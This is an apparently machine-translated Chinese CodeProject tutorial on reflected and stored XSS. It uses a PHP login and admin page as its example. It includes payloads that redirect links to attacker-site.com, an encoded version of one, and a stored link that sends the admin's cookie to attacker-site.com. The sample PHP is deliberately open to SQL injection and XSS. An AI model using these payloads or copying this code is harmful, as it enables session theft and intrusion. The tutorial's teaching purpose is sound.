65.9K
CodeProject 正在变化。 阅读更多。
Home

XSS 攻击

starIconstarIconstarIconstarIconstarIcon

5.00/5 (5投票s)

2015年12月3日

CPOL

4分钟阅读

viewsIcon

16725

跨站脚本攻击简介

引言

本文介绍了XSS (跨站脚本攻击) 及其两种类型。

背景

XSS攻击通常发生在网页上,作为开发人员,我们都应该了解什么是XSS以及如何避免XSS攻击以确保我们的网页安全。本文仅介绍XSS;我将写另一篇文章来展示如何避免XSS攻击。

什么是XSS攻击?

XSS是'跨站脚本'的缩写,它有点像SQL注入攻击。SQL注入攻击使用SQL语句作为用户的输入来插入、更新或删除数据库中的数据。XSS攻击使用恶意javascript来控制用户的浏览器。XSS攻击可以分为两种类型

1. 非持久性攻击
2. 持久性攻击

我们将通过一些例子来熟悉这两种XSS攻击。

1. 非持久性攻击

正如类型标题所暗示的,非持久性攻击是一次性攻击。它仅在用户在该时刻访问该页面时有效。非持久性攻击要求用户访问一个已被攻击者更改的URL。当用户点击该链接时,浏览器将执行恶意脚本,攻击成功。

假设我们有以下 *index.php* 页面

<?php

$name = $_GET['name'];

echo "Welcome $name<br>";

echo "<a href="https://codeproject.org.cn/steve/">Click to Download</a>";

?>

该页面将显示两行信息

  1. 从URL获取'name'参数并在页面上显示它。
  2. 显示一个可以跳转到另一个页面的链接。

此时,如果攻击者使用以下链接

index.php?name=guest<script>alert('attacked')</script>

当用户点击该链接时,它将生成以下HTML代码,并弹出一个带有消息“攻击”的警告对话框

Welcome guest
<script>alert('attacked')</script>
<br>
<a href='https://codeproject.org.cn/steve/'>Click to Download</a>

除了插入一个警告框,攻击者还可以使用以下代码来更改URL

index.php?name=
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>

当用户点击攻击者提供的上述URL时,index.php页面被注入了脚本,index.php页面的源代码将如下所示

Welcome 
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>
<br>
<a href='https://codeproject.org.cn/steve/'>Click to Download</a>

当用户点击“点击下载”链接时,用户将被跳转到攻击者提供的链接。

对于用于攻击的URL,通常攻击者不会使用上述可读代码,他们会将其转换为另一种格式,例如

index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%6
9%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74
%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70
%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

2. 持久性攻击

持久性攻击将攻击者的数据存储到网站的服务器中。只要数据存在,攻击行为就会一直存在。让我们看一个使用持久性攻击获取Session ID的例子。

Session背景知识

我们知道HTTP是一种无状态协议:所有请求和响应都是单独的。有时我们需要存储状态信息。例如,在用户登录网站之后。在他们的会话期间,不应要求用户输入用户名和密码。在这种情况下,我们使用cookie和session来存储用户的状态信息。

当用户第一次登录时,Web服务器将为用户创建一个唯一的Session ID,并同时向浏览器发送cookie。Cookie保存需要使用的数据,Session ID是附加到此数据的唯一标识。以下所有请求都基于此Session ID。

攻击者可以提供一个链接,当用户点击该链接时,将链接一条包含Session ID的消息并将其发送到攻击者的服务器。然后,攻击者可以获取该用户的Session ID和他的权限。

现在有一个login.php页面,如果用户输入正确的用户名和密码,它将创建一个session。

<?php
$Host= '192.168.1.8';
$Dbname= 'app';
$User= 'yyy';
$Password= 'xxx';
$Schema = 'test';
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";

/* Connect with database asking for a new connection*/
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);

/* Error checking the connection string */
if (!$Connect) {
    echo "Database Connection Failure";
    exit;
}

$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";
$result=pg_query($Connect,$query);
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);
$user_pass = md5($_POST['pass_word']);
$user_name = $row['user_name'];

if(strcmp($user_pass,$row['password'])!=0) {
    echo "Login failed";
}
else {
    # Start the session
    session_start();
    $_SESSION['USER_NAME'] = $user_name;
    echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
}
?> 

还有另一个页面'home.php',供管理员使用。该页面将显示所有用户。对于非管理员,该页面将包含一个输入框,用户可以在其中将新的用户名插入数据库(即创建他们自己的新帐户)。

<?php
session_start();
if(!$_SESSION['USER_NAME']) {
    echo "Need to login";
}
else {
    $Host= '192.168.1.8';
    $Dbname= 'app';
    $User= 'yyy';
    $Password= 'xxx';
    $Schema = 'test';
    $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
    $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);

    if($_SERVER['REQUEST_METHOD'] == "POST") {
        $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
        pg_query($Connect,$query);
        echo "Update Success";
    }
    else {
        if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
            echo "Welcome admin<br><hr>";
            echo "List of user's are<br>";
            $query = "select display_name from $Schema.members where user_name!='admin'";
            $res = pg_query($Connect,$query);
            while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
                 echo "$row[display_name]<br>";
            }
        }
        else {
            echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
            echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
            echo "<input type=\"submit\" value=\"Update\">";
        }
    }
}
?>

现在,让我们看看当当前用户不是管理员时,如何获取管理员的Session ID。

首先,攻击者以普通用户身份登录到网站,然后他将以下内容输入到文本框中

<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">steve</a>

攻击者提供了一个带有<a>元素的 数据,该数据将存储在数据库中。当管理员登录时,包含用户“steve”的用户列表将显示。如果管理员点击用户“steve”,攻击者将在“attacker-site.com”的服务器上获取管理员的session id

xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

一旦攻击者获取了session id,他就可以获得所有管理员的权限。此外,由于攻击数据已经存储在数据库中,只要攻击数据未被删除,攻击行为将始终可用。

当然,不仅持久性XSS攻击可以窃取session ID和cookie信息,非持久性Xss攻击也可以做到。只要攻击者可以诱骗用户点击一个特殊的链接,该链接可以将document.cookie的信息上传到特定的服务器。

© . All rights reserved.